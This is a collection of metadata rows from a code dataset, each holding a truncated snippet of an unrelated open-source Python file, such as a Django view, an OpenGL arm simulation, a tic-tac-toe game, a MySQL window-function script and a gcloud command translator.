47f9389ada1870d5ca97262115373be7f96efac5 | d7ef079b36a0a6cd0b72fd8358c3ccd8865ed9f1 | /eggs/z3c.unconfigure-1.0.1-py2.7.egg/z3c/unconfigure/config.py | bb7066970dba456707213c58ca7b6252574ed42e | [] | no_license | vcabral19/productsgovit | 8e7d104645d9c49b6502a44c640c7fef11bbb9fb | 1a1f7321573d031e872a358f4c3510af2c05564d | refs/heads/master | 2020-06-21T16:33:46.235438 | 2016-11-28T18:12:24 | 2016-11-28T18:12:24 | 74,784,667 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,143 | py | ##############################################################################
#
# Copyright (c) 2008 Zope Corporation and Contributors.
# All Rights Reserved.
#
# This software is subject to the provisions of the Zope Public License,
# Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution.
# THIS SO... | [
"d828642@rede.sp"
] | d828642@rede.sp |
f25ec0e958173dc21a1bdf6a34fbd52f0fc929f1 | ea871b12cdb62a73933200935a7e278738b358dd | /Misc_notUsed/rhymeCrawler.py | f2eebfd14911e480769aab4251153e4b06d4e494 | [] | no_license | wouterbeek/EAPoem | 497ad12d19a8d078e43e28876a380ebcfffc3c08 | e417a8bed409e6f52a2139c58116fe78a5ad8a23 | refs/heads/master | 2016-09-06T10:36:07.709562 | 2013-12-16T22:10:58 | 2013-12-16T22:10:58 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 933 | py | """
Crawler to fine rhyming words on http://rhymezone.com
Author: Eszter Fodor
Version: 05/2013
!!! NOTE: Uncomplete !!!
"""
# regex: <a class="d" href="d=*"> ... </a> || <a href="d=*"> ... </a>
import sys
import mechanize
import re
from BeautifulSoup import BeautifulSoup
from HTMLParser import HTMLParser
def getR... | [
"chytos@gmail.com"
] | chytos@gmail.com |
4aab624853ef559de8b4f8f88e3f5657bff877c9 | b4de9949124a85d54844a69920a65172b4188067 | /lat_lon_script.py | ac9e5a4ae11f0420a89b35b4ca8da9f56f98f4f5 | [
"BSD-3-Clause"
] | permissive | schrma/influxdb | e70c5188f36fd1ae8bc05f407fcf025f4a63d905 | 23fb18b1efcaa4bd9c7d214bc9f5fd3120bd5ba1 | refs/heads/master | 2020-09-07T13:27:13.787912 | 2019-11-13T17:12:58 | 2019-11-13T17:12:58 | 220,795,349 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 991 | py | #!/usr/bin/python3
import sys
import argparse
import influxhandler
def main(argv):
args = parse_arguments(argv)
influx_client = influxhandler.InfluxHandler("localhost:8086","admin",args.password,"openhab_db")
influx_client.write_lat_lon(args.lat,args.lon,args.measurement)
def parse_arguments(command_ar... | [
"marcoschr@gmx.de"
] | marcoschr@gmx.de |
18b1dcd136b7ca1e094b360efaf4861250250a30 | fcdbf04f899eabff6906099090447255c97628b8 | /db.py | 11a0fa355290675be0718b1b2a4bf9582e687cd1 | [] | no_license | mehulved/flask-tutorial | 3d6e60a846a8441c37414247e48ee904432e6b14 | 3b2eb422a7012cacfd320bd510766fedfd120fbc | refs/heads/master | 2021-01-16T19:28:45.338531 | 2012-12-08T14:10:19 | 2012-12-08T14:23:34 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 124 | py | from flask.ext.sqlalchemy import SQLAlchemy
# Create the SQLAlchemy object, provided by Flask-SQLALchemy.
db = SQLAlchemy() | [
"dhruvbaldawa@gmail.com"
] | dhruvbaldawa@gmail.com |
ffcb4231b6956ab6788073b7baa2a68f6163136e | eefc46faf29b7ec9e52de065a983f9993de4aaa3 | /tic_tac_toe/migrations/0001_initial.py | 3c97744c1bc95ec95e5322f7be5622d004c103a7 | [
"MIT"
] | permissive | jujuwoman/tic-tac-toe | 0963acd74bb6c31b6fabc67ffce5babc128d8b79 | 6096d980d0253a9fab9293dda37b7d12b7cb4613 | refs/heads/master | 2022-11-16T07:19:17.526463 | 2020-07-04T18:59:43 | 2020-07-04T18:59:43 | 276,934,778 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,958 | py | # Generated by Django 3.0.3 on 2020-02-24 04:39
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Marks',
fields=[
... | [
"judywang@linkedin.com"
] | judywang@linkedin.com |
26250ffca25419ec796bc3e537756bfa5e04ec05 | 28aed3120411fd7558fc08b47274f5ced5d5069c | /UIAutomation/Page/Mobile/CardCentralPage.py | 14b6290fe4e1495540274f5aa23a976ae8e6ada8 | [
"MIT"
] | permissive | SirCYong/long_long_ago | 8e181310267836774b50824e873adb7959f80080 | 6dfe9a9eb9d0f25a55bccd22b66878bde1a2fd6b | refs/heads/master | 2020-03-16T02:58:18.161981 | 2018-05-07T15:17:54 | 2018-05-07T15:17:54 | 132,477,192 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 6,280 | py | import requests
from time import sleep
from UIAutomation.Utils import GetCardListFailureException, Action, parse_cfg, get_setting_configuration
from UIAutomation.Utils.HttpWrapper import get_request_post_head_parameters, eject_logged_user
import sys
__author__ = 'Yong_li'
__package__ = 'IscsUIAutomation'
"""
操作临时卡片请使用这... | [
"649803977@qq.com"
] | 649803977@qq.com |
abf6ebe4e73d775e29a7560d3f227e75a4f35eb4 | a1504798a55d652c9c0705cc507fe2cb9678ea4f | /Adavnce_CRUD/MySQL_Window_Function/Window_Analytical_Function/MySQL_Analytical_Function.py | ee539c58a681592dda73205a29741e394fb1a83e | [] | no_license | ritikapatel1410/Python_MySql | a4a952abd7b0394eafc071de0f55efd6a7a3b359 | d90da25391243d5c08156a9184727c3e42e43517 | refs/heads/main | 2023-03-21T01:24:02.465879 | 2021-03-18T07:55:04 | 2021-03-18T07:55:04 | 347,563,406 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,610 | py | '''
@Author: Ritika Patidar
@Date: 2021-03-18 00:30:10
@Last Modified by: Ritika Patidar
@Last Modified time: 2021-03-18 00:30:38
@Title : perform window analytical function on table
'''
import mysql.connector as mysql
import os
import sys
sys.path.insert(0,os.path.realpath("LogFile"))
import loggerfile
from decouple... | [
"patelrit1410@gmail.com"
] | patelrit1410@gmail.com |
49b11249c23e8b713d1e474589da61604eb9fe77 | 2b398353f5b0529ac666ef180e9dc966474a70c0 | /vspk/v6/fetchers/nuingressauditacltemplates_fetcher.py | f794dbf0465235ffedeca8c1df72c25fb9c6b947 | [
"BSD-3-Clause"
] | permissive | nuagenetworks/vspk-python | e0c4570be81da2a4d8946299cb44eaf9559e0170 | 9a44d3015aa6424d0154c8c8a42297669cce11f9 | refs/heads/master | 2023-06-01T01:12:47.011489 | 2023-05-12T19:48:52 | 2023-05-12T19:48:52 | 53,171,411 | 21 | 18 | BSD-3-Clause | 2020-12-16T12:36:58 | 2016-03-04T23:10:58 | Python | UTF-8 | Python | false | false | 2,212 | py | # -*- coding: utf-8 -*-
#
# Copyright (c) 2015, Alcatel-Lucent Inc, 2017 Nokia
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
# * Redistributions of source code must retain the above copyrigh... | [
"corentin.henry@nokia.com"
] | corentin.henry@nokia.com |
8681d350870b0cb4e9331a9d485552af8fa18ff0 | 648c206b68552f8d3250d4c6898245d2943e465e | /Simple_Sim.py | 51d4f0dde98bccb5aac4b6043441bc6288d4c6cd | [] | no_license | PAWAN-PRAJAPATI/robotic_arm_simulation | 3a61d8b05a1541d6844cbb59a4130708ce858dac | cbdd8e7acf2cfdf54387097a68ce4a758ced58e7 | refs/heads/master | 2020-04-01T09:39:43.045401 | 2018-10-15T09:13:56 | 2018-10-15T09:13:56 | 153,084,551 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 15,128 | py | from OpenGL.GL import *
from OpenGL.GLU import *
from OpenGL.GLUT import *
import socket
import sys
import math
import pygame
import pickle
import time
#from mpurecieverpi import myThread_R,myThread_S
'''
s1 = socket.socket()
s2 = socket.socket()
host = "127.0.0.1"
print(host)
port1 = int(sys.argv[1])
port2 =... | [
"prajapatipawan6464@gmail.com"
] | prajapatipawan6464@gmail.com |
6343dde6cb5f70eef3a21763abb40fab047ef166 | 7a11b6d4063685cb08b074ac8d08ab6e1d045ff5 | /src/07_game_cross_nulls.py | 36a888f67783bf3859b4aee3c5fb157a8f9dc7ed | [] | no_license | slavaider/python | 8a9f5769bd519e0e270c5814ef46ec5c653ab7c1 | f98896b8e9dd93fe7d2b4a495b67704ef5f08373 | refs/heads/master | 2023-03-02T15:12:56.218871 | 2021-02-07T16:20:08 | 2021-02-07T16:20:32 | 301,493,207 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,745 | py | import random
board = [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ']
winning_combination = [(0, 1, 2), (3, 4, 5), (6, 7, 8),
(0, 3, 6), (1, 4, 7), (2, 5, 8), (0, 4, 8), (2, 4, 6)]
def print_board(board_game):
for i, cell in enumerate(board_game):
if (i + 1) % 3 == 0:
pri... | [
"slavaider1@gmail.com"
] | slavaider1@gmail.com |
9c76340c94481e9138c7f722b48734528aa02859 | 7775a073201f568022bbb4ed3d04cb1639ae5e65 | /CCFA/apps/users/views.py | 7bdb7efbf31d3ebfb78cf41dd277ed6bf50cd756 | [] | no_license | a289237642/rest-api | 25db777fa1ca85fee77f86b8ae92d3656ce2ef40 | fd2c70245cb12212dcd2fd8899f789c3e41d1af2 | refs/heads/master | 2020-04-24T14:12:13.312539 | 2019-03-14T08:41:27 | 2019-03-14T08:41:27 | 172,012,413 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,727 | py | from django.shortcuts import render, redirect, reverse
from django.views import View
from .form import UserRegisterForm, UserLoginForm
from .models import UserProfile, Banner
from django.contrib.auth import authenticate, logout, login
# Create your views here.
class UserCenterView(View):
"""用户中心"""
def get(... | [
"a289237642@163.com"
] | a289237642@163.com |
856f695c8757308f24be27a30b4e71a3c6db1381 | f1a426f778d74dc713561ff51e12744535d3188d | /210427/filter.py | 247c5878f80f0bac5dcfedd96e6dc2c11a102430 | [] | no_license | bsu414/PythonPractice | 1067492aa26b161ca32cd7e51b06cfe02ec502c0 | c1c7644ae29a12980ddbcc3682858d59548e4496 | refs/heads/main | 2023-06-03T02:59:22.598267 | 2021-06-22T09:28:09 | 2021-06-22T09:28:09 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 124 | py | def num(a):
return type(a) == int
a = [1, 'a', '가', 5, 9.99, -10]
print(filter(num, a))
print(list(filter(num, a)))
| [
"S20026@gsm.hs.kr"
] | S20026@gsm.hs.kr |
4c2aaaca0cc571f1a02e61d450f73ac7d76a878b | 3a891a79be468621aae43defd9a5516f9763f36e | /desktop/core/ext-py/navoptapi-0.1.0/altuscli/auth.py | 8fdc3e0468251e9f5891fe857f75b62bead8e9f9 | [
"Apache-2.0"
] | permissive | oyorooms/hue | b53eb87f805063a90f957fd2e1733f21406269aa | 4082346ef8d5e6a8365b05752be41186840dc868 | refs/heads/master | 2020-04-15T20:31:56.931218 | 2019-01-09T19:02:21 | 2019-01-09T19:05:36 | 164,998,117 | 4 | 2 | Apache-2.0 | 2019-01-10T05:47:36 | 2019-01-10T05:47:36 | null | UTF-8 | Python | false | false | 5,275 | py | # Copyright 2012-2013 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Modifications made by Cloudera are:
# Copyright (c) 2016 Cloudera, Inc. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"). You
# may not use this file except in compliance with the License. A cop... | [
"romain@cloudera.com"
] | romain@cloudera.com |
942af4f2c6c3756916efbedf7a9a77be4b4dd7cf | be3d301bf8c502bb94149c76cc09f053c532d87a | /python/GafferUITest/VectorDataWidgetTest.py | 39489b24ba5a7a9d5c4dd519a8615c545afc1bb2 | [
"BSD-3-Clause"
] | permissive | ljkart/gaffer | 28be401d04e05a3c973ef42d29a571aba6407665 | d2ce0eb7134a33ceee375d0a3676129a9bdcfbc6 | refs/heads/master | 2021-01-18T08:30:19.763744 | 2014-08-10T13:48:10 | 2014-08-10T13:48:10 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,500 | py | ##########################################################################
#
# Copyright (c) 2014, Image Engine Design Inc. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# * Red... | [
"thehaddonyoof@gmail.com"
] | thehaddonyoof@gmail.com |
f0a5bc849c344e0814893f67e1ee18349f19e174 | 144b4ecf480eca2d436960994e6ed04f1033df36 | /lib/dockerize/php/php_config.py | e128033545943e8014ad99efd7801a51fb69ba3f | [] | no_license | akerouanton/docker-generator | bbea57d8afc8517805df73ce3c0f71692d729fb7 | 2a99464a739d32910b150daf41725294e7f9f1f5 | refs/heads/master | 2021-06-09T10:21:37.097753 | 2016-11-24T11:52:11 | 2016-11-24T11:52:11 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,048 | py | import copy
class PhpConfig:
def __init__(self, version, src_dir, packages, pecl_extensions, php_extensions, php_ini, php_fpm, extra_steps, timezone='UTC', debug=False):
self.version = version
self.src_dir = src_dir
self.packages = packages
self.pecl_extensions = pecl_extensions
... | [
"albin.kerouanton@knplabs.com"
] | albin.kerouanton@knplabs.com |
680620ae50730cf3844510e22d6b4edbfd234fec | 98e00c48dc0ec205b6524f025791a9367a657e13 | /step14.py | b95e780dc6ecb6f75985c58d3de35e5e8c3e930c | [] | no_license | mextier/PyStepikC431 | b111d4da586f8392959850f42935f19f7e007702 | 5e2d4afca95d8f68552206defbc1b46ae6b92bbc | refs/heads/master | 2021-09-17T21:55:43.970377 | 2018-07-05T18:21:13 | 2018-07-05T18:21:13 | 115,948,777 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 451 | py | l=input().upper().split()
m = input().upper()
#l="7C 10H".split()
#m = "S"
digits="6 7 8 9 10 J Q K A".split()
k1 = (l[0][0:len(l[0])-1],l[0][-1:])
k2 = (l[1][0:len(l[1])-1],l[1][-1:])
print("Error" if m not in [k1[1],k2[1]] and k1[1]!=k2[1] else "First" if k1[1]==m and k2[1]!=m else "Second" if k2[1]==m and k1[1]!=... | [
"mextier@gmail.com"
] | mextier@gmail.com |
f029f3daceafd4c0ef7ea0d4cdc4f9463473ca60 | a3d6556180e74af7b555f8d47d3fea55b94bcbda | /third_party/google_input_tools/third_party/closure_library/closure/bin/build/source.py | d4d1dbabcd464184a6917f7f40327e1210227364 | [
"LicenseRef-scancode-unknown-license-reference",
"Apache-2.0",
"BSD-3-Clause",
"GPL-1.0-or-later",
"MIT",
"LGPL-2.0-or-later"
] | permissive | chromium/chromium | aaa9eda10115b50b0616d2f1aed5ef35d1d779d6 | a401d6cf4f7bf0e2d2e964c512ebb923c3d8832c | refs/heads/main | 2023-08-24T00:35:12.585945 | 2023-08-23T22:01:11 | 2023-08-23T22:01:11 | 120,360,765 | 17,408 | 7,102 | BSD-3-Clause | 2023-09-10T23:44:27 | 2018-02-05T20:55:32 | null | UTF-8 | Python | false | false | 3,347 | py | #!/usr/bin/env python
# Copyright 2009 The Closure Library Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
... | [
"commit-bot@chromium.org"
] | commit-bot@chromium.org |
22d5d632b8f6c9f033d833e4bd5800a399c40f45 | 4da58b65fd3094c3b0556c7a3108d4cd1ffea0f3 | /policy_gradients/td3/hyperparameters.py | 4312e4f0bb25303ea733438ca37c67e687f08363 | [] | no_license | willclarktech/policy-gradient-implementations | b7d6d55910cf6bc25e86368365f58c51b843df24 | 311276053322272319ffac8206f1e41960495ad7 | refs/heads/main | 2023-07-25T22:00:18.445628 | 2023-07-07T13:03:56 | 2023-07-07T13:03:56 | 252,439,207 | 1 | 0 | null | 2023-08-19T11:33:14 | 2020-04-02T11:42:47 | Jupyter Notebook | UTF-8 | Python | false | false | 455 | py | from typing import Any, Dict
def default_hyperparameters() -> Dict[str, Any]:
return dict(
algorithm="td3",
env_name="LunarLanderContinuous-v2",
n_episodes=1000,
log_period=1,
hidden_features=[256, 256],
alpha=1e-3,
gamma=0.99,
tau=5e-3,
d=2,... | [
"willclarktech@users.noreply.github.com"
] | willclarktech@users.noreply.github.com |
11d6331b5da605e063eb5c1046d046c3665b5d6d | 134ff3c0719d4c0022eb0fb7c859bdbff5ca34b2 | /apps/jobsub/src/jobsub/server_models.py | a04c5e3855305228120439732a22c3f4d7862d6c | [
"Apache-2.0"
] | permissive | civascu/hue | 22637f13a4cfc557716557661523131b6ac16da4 | 82f2de44789ff5a981ed725175bae7944832d1e9 | refs/heads/master | 2020-03-31T01:50:39.449966 | 2010-07-21T01:05:50 | 2010-07-21T01:07:15 | 788,284 | 0 | 0 | Apache-2.0 | 2019-02-04T07:03:12 | 2010-07-21T07:34:27 | Python | UTF-8 | Python | false | false | 1,451 | py | #!/usr/bin/env python
# Licensed to Cloudera, Inc. under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. Cloudera, Inc. licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you ma... | [
"bcwalrus@cloudera.com"
] | bcwalrus@cloudera.com |
2ee61366b458d01fac93797942bd0d05c0bf5ade | 20f270edcd9a2e317f59388d375554ae05197543 | /settings.py | 399909f64c1ebc7f9b3d7e2030bfd4dc053923a2 | [] | no_license | hevervie/TimeCount | a1b4a6052a93f029300ea23cfbddab807928991b | 15e4a3be78fc5231568bc80eb201567c2331cc0b | refs/heads/master | 2021-09-07T12:51:08.906298 | 2018-02-23T06:11:29 | 2018-02-23T06:11:29 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,846 | py | """
Django settings for TimeCount project.
Generated by 'django-admin startproject' using Django 1.8.18.
For more information on this file, see
https://docs.djangoproject.com/en/1.8/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.8/ref/settings/
"""
# Build p... | [
"zhoupan@xiaomi.com"
] | zhoupan@xiaomi.com |
372f46dad7b60491c664fde59a99f02860e7818f | 1ef37198c843b132b79e00896eea9488d2faefb0 | /setup.py | f7be1facab9cceca93acc774fc86817ad239328e | [
"MIT"
] | permissive | tof-tof/dazzler | 8db91a101262459b0111596227dc8b506dcf6e05 | 97da75c77b07c70b246845da59ae81099014d313 | refs/heads/master | 2023-07-15T13:50:22.295700 | 2021-08-22T01:42:52 | 2021-08-22T01:53:54 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 169 | py | from setuptools import setup
setup(
extras_require={
'redis': ['aioredis==1.3.1'],
'electron': [
'PyInstaller==4.5.1'
]
}
)
| [
"t4rk@outlook.com"
] | t4rk@outlook.com |
a283a5082e8e1466582c94eb0653039c4af506ea | 23a0b40ede110cb719d86f04843a7a7604160d96 | /OOP_Project/BankingSystem.py | 39dcbe7480c3e6c8666370cd21ec000771a39960 | [] | no_license | Thestrle/Python_Begginer | 28704312412554050347fb2b328bda0d65c38006 | 1ed1a8863d96c3a9181a7f580490ee5c01088c41 | refs/heads/master | 2022-11-11T09:59:51.342183 | 2020-06-27T06:02:29 | 2020-06-27T06:02:29 | 254,622,554 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 720 | py | class BankAccount():
#Class variable can be delaced here directly
#account_type = "Savings"
def __init__(self,owner,balance):
self.owner = owner
self.balance = balance
def __str__(self):
return f'{self.owner},{self.balance}'
def deposit(self,money):
self.balance = ... | [
"kushvahaalok@gmail.com"
] | kushvahaalok@gmail.com |
26cb9755a2b3d143583f169a35aafc0b914b2430 | 21d1fed4983ca3a5b6d9d267ef18da91c5e024f1 | /lambda2/config.py | f920174a1991fb35be74ae913bb687402c9794b1 | [] | no_license | xxlv/lambda2 | 53abcf2dfcf075f7cbd1872fd0ae6d76c24f8427 | c8c1e67106659225fa159d687b8733efcd6f9724 | refs/heads/master | 2020-05-22T11:44:41.517879 | 2017-09-20T03:18:35 | 2017-09-20T03:18:35 | 84,695,657 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 147 | py | # -* coding: utf-8 -*-
import yaml
class Config():
@staticmethod
def load_config():
return yaml.load(open('./conf/server.yml'))
| [
"lvxx@dxyer.com"
] | lvxx@dxyer.com |
39353b03529e7f64d5481fcb2d4fd5b29a6ec241 | f28d6f0acb6623703ce892e25b591e98281accdf | /mytestsite/urls.py | ce3c9383d6e92ad6d0e6658795a53b1414882632 | [] | no_license | mapourmand/DjangoSimpleApp | 828fc64e1c37d154f98205ad20ac63ecbf3e55cd | f8b0c8aa4d77a988f86a3cbf8203d7c104918bcf | refs/heads/master | 2021-09-19T10:41:11.968210 | 2018-07-27T07:23:41 | 2018-07-27T07:23:41 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 880 | py | """mytestsite URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.0/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-ba... | [
"pourmand.mhd@gmail.com"
] | pourmand.mhd@gmail.com |
838d56a16201eeb4f9732f091b9481f02e280b30 | 33836016ea99776d31f7ad8f2140c39f7b43b5fe | /fip_collab/2017_02_08_HCF_pearson/toy_problem/select_gaussian_pts_7.py | 213ef7dc3105575a0ee637610c363bbb0f96ecb2 | [] | no_license | earthexploration/MKS-Experimentation | 92a2aea83e041bfe741048d662d28ff593077551 | 9b9ff3b468767b235e7c4884b0ed56c127328a5f | refs/heads/master | 2023-03-17T23:11:11.313693 | 2017-04-24T19:24:35 | 2017-04-24T19:24:35 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,079 | py | import numpy as np
import matplotlib.pyplot as plt
from sklearn.neighbors.kde import KernelDensity
from scipy.stats import norm
def normal(X):
return np.exp(-0.5*X**2)/np.sqrt(2*np.pi)
def getdensKDE(X, X_, bw):
kde = KernelDensity(kernel='gaussian', bandwidth=bw).fit(X[:, np.newaxis])
Adens = np.exp(kd... | [
"noahhpaulson@gmail.com"
] | noahhpaulson@gmail.com |
0935e146885b5a29f3f4ac80dd1ad035d219413a | 4743e9857a48f20a5a9edc294e2ab92256ab47b4 | /backend/smart_odberne_miest_23193/settings.py | b4d13e011230e4cdf9f69364961a30214a412766 | [] | no_license | crowdbotics-apps/smart-odberne-miest-23193 | 6122e0204c3a83027b575d1119f16454815895e1 | e826b7a1d16bdc590f9e7c8a5ad4230be791b0f6 | refs/heads/master | 2023-01-30T12:47:39.281749 | 2020-12-04T16:30:08 | 2020-12-04T16:30:08 | 318,573,001 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,066 | py | """
Django settings for smart_odberne_miest_23193 project.
Generated by 'django-admin startproject' using Django 2.2.2.
For more information on this file, see
https://docs.djangoproject.com/en/2.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.2/ref/settings/... | [
"team@crowdbotics.com"
] | team@crowdbotics.com |
fa73eb76aa270675a2adadf1b640c4548ac27b05 | 03e455add23431487a88bc8a0965aee0cb535171 | /cubicplane.py | 13958913423e0337f74e91553b30ba22a85b72d0 | [] | no_license | animator/Crystosim_Techkriti | c20193b098d236b9ce3823c41b57d3bd2592c874 | 3f154b02541eb80f5d0631534c3c2daca78116ce | refs/heads/master | 2021-01-18T07:40:22.594062 | 2012-01-28T10:12:38 | 2012-01-28T10:12:38 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,297 | py | from visual import *
def drawborder(list1,list2,list3):
l=paths.line(start=list1,end=list2)
curve(pos=l.pos,color=color.yellow)
l1=paths.line(start=list2,end=list3)
curve(pos=l1.pos,color=color.yellow)
l2=paths.line(start=list3,end=list1)
curve(pos=l2.pos,color=color.yellow)
def drawbord... | [
"ashita92@rediffmail.com"
] | ashita92@rediffmail.com |
810d5b88dd8110a1cbec9f2d913ef8cf91aaeebe | 1d2bbeda56f8fede69cd9ebde6f5f2b8a50d4a41 | /medium/python3/c0258_525_contiguous-array/00_leetcode_0258.py | 0cbadf559161562e4c1aba24f1de80d4ed841781 | [] | no_license | drunkwater/leetcode | 38b8e477eade68250d0bc8b2317542aa62431e03 | 8cc4a07763e71efbaedb523015f0c1eff2927f60 | refs/heads/master | 2020-04-06T07:09:43.798498 | 2018-06-20T02:06:40 | 2018-06-20T02:06:40 | 127,843,545 | 0 | 2 | null | null | null | null | UTF-8 | Python | false | false | 766 | py | # DRUNKWATER TEMPLATE(add description and prototypes)
# Question Title and Description on leetcode.com
# Function Declaration and Function Prototypes on leetcode.com
#525. Contiguous Array
#Given a binary array, find the maximum length of a contiguous subarray with equal number of 0 and 1.
#Example 1:
#Input: [0,1]
#Ou... | [
"Church.Zhong@audiocodes.com"
] | Church.Zhong@audiocodes.com |
62c93e17f98983d6cb6ea5d285442b221d590658 | 561accc0e4997f906134fed6c95ef60f17ae5f72 | /drive_car/__init__.py | 29fde3052f99244a8d7432b842fc0e369f411fcf | [] | no_license | RRRK-Malla/my_gym_env | 73d30668b66dce0d488b2d71616e130e72849786 | e7a683c5ac733e071298e6663f6799def5602901 | refs/heads/main | 2023-05-10T18:29:29.817109 | 2021-06-02T12:12:16 | 2021-06-02T12:12:16 | 372,929,654 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 121 | py | from gym.envs.registration import register
register(
id='Drivezy-v0',
entry_point='my_gym_env.envs:DriveEnv',
)
| [
"noreply@github.com"
] | RRRK-Malla.noreply@github.com |
2b863af19654c99e670c201cd7b45dc9fe4d57f7 | e87dd89621f163902a7c8c0a318f9b7af71182d8 | /CV_proj3/AXL1800151.py | 663c4034556b3e779ccab8d607a6f4cc0956a732 | [] | no_license | shadowjljp/Computer_Viision-master | d2d375d903954339d73d1091cb547ce4e140ea83 | 9534bb686fc736a2af33f2691821dfdc3e037cbc | refs/heads/master | 2022-11-24T10:54:37.820923 | 2020-07-25T20:42:33 | 2020-07-25T20:42:33 | 282,521,882 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,481 | py | import math
import cv2
import numpy as np
import sys
# read arguments
from cv2.cv2 import cvtColor
if (len(sys.argv) != 8):
print(sys.argv[0], ": takes 7 arguments. Not ", len(sys.argv) - 1)
print("Example:", sys.argv[0], "fruits.jpg 0 0.001 1 1 0 0 ")
sys.exit()
name_input = sys.argv[1]
f = float(sys.a... | [
"40411574+shadowjljp@users.noreply.github.com"
] | 40411574+shadowjljp@users.noreply.github.com |
5d7790dc0aedd550553acaf377d461a7dbaec9a1 | 19712eead5dd2ca4d7616d401a53dc1a192ab258 | /commands/warnings/__init__.py | bf4ca626085af98394f063d57d7a4e0a718f3249 | [
"MIT"
] | permissive | sunjini/rvt_model_services | 8bf18e8b26372daac996622feb5e99f1a55d1a93 | f95d89a7a5696276e1ef22924e6981f083ffa7bc | refs/heads/master | 2020-09-17T12:40:17.077677 | 2019-06-24T06:25:47 | 2019-06-24T06:25:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,433 | py | import rjm
import os
import os.path as op
from . import bokeh_warnings_graphs
def cmd_journal(project_code, model_path, jrn_path, com_dir, log_dir):
warnings_dir = op.join(op.dirname(com_dir), "warnings" + os.sep)
rvt_jrn = rjm.JournalMaker()
rvt_jrn.open_workshared_model(model_path=model_path, detached=T... | [
"dt12345/"
] | dt12345/ |
bfc99b6aaa87e38884ff8ecff55930f0c7a1bcef | 494d020f266ed4dc063264914d24d96bf2b69dc8 | /build/lib/modules/users/views_api.py | 92e72d8580d9f34822fb783aa649d000904efb77 | [] | no_license | diy01/flerken_two | 2914260f3881fedeecdc075ad4e5e746f6bbed01 | e2b97e284da9e203dafb5ac62658f2435fd95d55 | refs/heads/master | 2020-05-25T11:20:59.767825 | 2019-05-05T09:06:01 | 2019-05-21T06:04:24 | 187,778,127 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,188 | py | from django.contrib import auth
from django.contrib.auth.models import User
from django.db import transaction
from django_filters.rest_framework.backends import DjangoFilterBackend
from rest_framework import filters
from rest_framework import parsers, renderers
from rest_framework import status
from rest_framework.auth... | [
"810625951@qq.com"
] | 810625951@qq.com |
4b1878e479a9fc19e774caab707557cf99dfb680 | d98883fe1007111b8795ac5661e56758eca3b62e | /google-cloud-sdk/lib/googlecloudsdk/command_lib/util/apis/yaml_command_translator.py | 39f73cc678f03999817c4b609c29aaea7f039637 | [
"LicenseRef-scancode-unknown-license-reference",
"Apache-2.0"
] | permissive | pyDeb/KindnessCafe | 7303464e3c0693b0586a4a32740d8b9b19299caf | 6ff8dfe338aefd986edf67c382aff1a2920945d1 | refs/heads/master | 2022-12-29T16:16:35.796387 | 2021-04-19T00:03:14 | 2021-04-19T00:03:14 | 243,533,146 | 3 | 4 | null | 2022-12-08T09:48:09 | 2020-02-27T14:01:16 | Python | UTF-8 | Python | false | false | 45,199 | py | # -*- coding: utf-8 -*- #
# Copyright 2017 Google LLC. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requir... | [
"zeus@localhost.localdomain"
] | zeus@localhost.localdomain |
4a51875b3edcd02fd9bbea7c81ba2ae177206124 | bc441bb06b8948288f110af63feda4e798f30225 | /file_repository_sdk/api/archive/delete_archive_v2_pb2.py | 4e6598b19a4aa4e762abfd7d0d2de6f7c40ee8c6 | [
"Apache-2.0"
